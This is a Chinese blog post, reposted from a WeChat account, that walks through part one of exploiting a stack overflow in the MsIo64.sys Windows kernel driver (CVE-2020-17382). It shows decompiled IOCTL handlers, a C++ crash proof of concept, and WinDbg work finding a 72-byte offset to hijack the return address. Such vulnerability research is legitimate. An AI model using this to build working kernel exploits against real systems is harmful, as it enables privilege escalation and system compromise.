Windows 内核驱动 MsIo64.sys 的溢出漏洞分析与EXP构造上

admin 2025年3月30日19:36:34评论1 views字数 4233阅读14分6秒阅读模式

以CVE-2020-17382为例
![[MsIo64.sys]]

sc create MsIo64 type= kernel binPath= C:r0CVE-2020-17382MsIo64.sys
sc start MsIo64
sc stop MsIo64
sc delete MsIo64

结果如下

Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:Windowssystem32>sc create MsIo64 type= kernel binPath= C:r0CVE-2020-17382
MsIo64.sys
[SC] CreateService 成功

C:Windowssystem32>sc start MsIo64

SERVICE_NAME: MsIo64
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 0
        FLAGS              :

逆向MsIo64.sys,找到对应的派遣函数处理逻辑

 ControlCode = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
switch ( ControlCode )
    {
case0x80102040:
        DbgPrint("IOCTL_MSIO_MAPPHYSTOLIN");
if ( !(_DWORD)InputBufferLength )
goto LABEL_9;
        memmove(Src, InputBuffer, InputBufferLength);
        Status_1 = sub_11090(Src[1], &Object);
if ( Status_1 >= 0 )
        {
          memmove(InputBuffer, Src, InputBufferLength);
          Irp->IoStatus.Information = InputBufferLength;
        }
        Irp->IoStatus.Status = Status_1;
break;
case0x80102044:
        DbgPrint("IOCTL_MSIO_UNMAPPHYSADDR");
if ( (_DWORD)InputBufferLength )
        {
          memmove(Src, InputBuffer, InputBufferLength);
          Irp->IoStatus.Status = sub_11360((HANDLE)Src[2].QuadPart, (PVOID)Src[3].QuadPart, Object);
break;
        }
goto LABEL_9;
case0x80102050:
        DbgPrint("IOCTL_MSIO_READPORT");
if ( !(_DWORD)InputBufferLength )
goto LABEL_9;
        memmove(&Dst, InputBuffer, InputBufferLength);
if ( n4 == 1 )
        {
          v10 = __inbyte(Dst);
          *(_DWORD *)&InputBuffer->Type = v10;
          Irp->IoStatus.Information = 4LL;
        }
elseif ( n4 == 2 )
        {
          v9 = __inword(Dst);
          *(_DWORD *)&InputBuffer->Type = v9;
          Irp->IoStatus.Information = 4LL;
        }
else
        {
if ( n4 == 4 )
          {
            v8 = __indword(Dst);
            *(_DWORD *)&InputBuffer->Type = v8;
          }
else
          {
            *(_DWORD *)&InputBuffer->Type = v17;
          }
          Irp->IoStatus.Information = 4LL;
        }
break;
case0x80102054:
        DbgPrint("IOCTL_MSIO_WRITEPORT");
if ( !(_DWORD)InputBufferLength )
goto LABEL_9;
        memmove(&Dst, InputBuffer, InputBufferLength);
switch ( n4 )
        {
case1:
            __outbyte(Dst, v17);
break;
case2:
            __outword(Dst, v17);
break;
case4:
            __outdword(Dst, v17);
break;
        }
break;

由上代码可知:0x80102040、0x80102044、0x80102050、0x80102054中的memmove函数均能造成溢出,而memmove函数定义如下

Memmove

void*memmove(
void*dest,
constvoid*src,
size_t count 
);
  • dest
     -- 指向用于存储复制内容的目标数组,类型强制转换为 void* 指针。
  • src
     -- 指向要复制的数据源,类型强制转换为 void* 指针。
  • n
     -- 要被复制的字节数。
  • 该函数返回一个指向目标存储区 dest 的指针。

以0x80102040为例,PHYSICAL_ADDRESS Src[4];其中PHYSICAL_ADDRESS类型元素为一个QWORD,数组占用32个字节,构造超过这个数目的字节就有可能造成溢出。编写对应的利用代码

#include<windows.h>
#include<iostream>
#define SymLinkName L"\\.\MsIo"
#define IOCTL_CODE 0x80102040
intmain()
{
    HANDLE hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0NULL, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);
if (hDevice == INVALID_HANDLE_VALUE)
    {
std::cout << "CreateFile error:" << GetLastError() << std::endl;
return1;
    }

    DWORD dwWrite;
char data[100];
memset(data,'A',100);

    DeviceIoControl(hDevice, IOCTL_CODE, data, sizeof(data), NULL0, &dwWrite, NULL);
    CloseHandle(hDevice);
return0;
}

成功造成了Crash效果

Windows 内核驱动 MsIo64.sys 的溢出漏洞分析与EXP构造上

现在可以去调试一下,构造一下栈空间,利用[[Windows双机调试环境&驱动开发环境配置]]文章所述,构造调试环境。

WinDBG+IDA断点调试

下断点方式
IDA+windbg
IDA看断点位置的相对偏移,然后windbg查看加载基址,基址+相对偏移下断点

Windows 内核驱动 MsIo64.sys 的溢出漏洞分析与EXP构造上

memmove断点偏移为1623(10000是base地址),而在Windbg中,利用lm命令查看各个模块的加载基址

fffff880`02747000 fffff880`0274d000   MsIo64(deferred)

参数rsp计算差值

MsIo64的起始地址为fffff88002747000,偏移为1623,因此断点应该下载fffff88002747000+1623,当运行EXP.exe后停在断点,此时寄存器情况

RAX: 0000000000000000   RBX: 0000000000000064   RCX: FFFFF88006220800   
RDX: FFFFFA800373E340   RSI: FFFFFA800373E340   RDI: FFFFFA8003ACB300   
RIP: FFFFF8800277C623   RSP: FFFFF880062207D0   RBP: FFFFFA8003ACB3D0   
R8:  0000000000000064   R9:  FFFFF80003EED210   R10: 4141414141414141
R11: FFFFF880062207C8   R12: FFFFFA8003806580   R13: 0000000000000000
R14: FFFFFA8003ACB418   R15: 0000000000000000
EFLAGS: 00000202 CF=0 PF=0 AF=0 ZF=0 SF=0 TF=0 IF=1 DF=0 OF=0
LastErrorValue: 0x00000000
LastStatusValue: 0xC0000135

RCX位置存放着src,接近着一直运行直到ret
![[Pasted image 20250330083726.png]]
栈上充满了A(0x41),此时栈顶值为[0x0] MsIo64+0x16b9 0xfffff88006220848 0x4141414141414141 ,即ret之后0xfffff88006220848会变成rip,现在计算所需覆盖的区域大小即

kd> ?0xfffff88006220848-FFFFF88006220800
Evaluate expression: 72 = 00000000`00000048

因此要铺垫72个长度的值,再放置想要执行的shellcode位置,现在我们就能控制执行的命令了。

原文始发于微信公众号(Sec探索者):Windows 内核驱动 MsIo64.sys 的溢出漏洞分析与EXP构造上

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月30日19:36:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows 内核驱动 MsIo64.sys 的溢出漏洞分析与EXP构造上https://cn-sec.com/archives/3899279.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息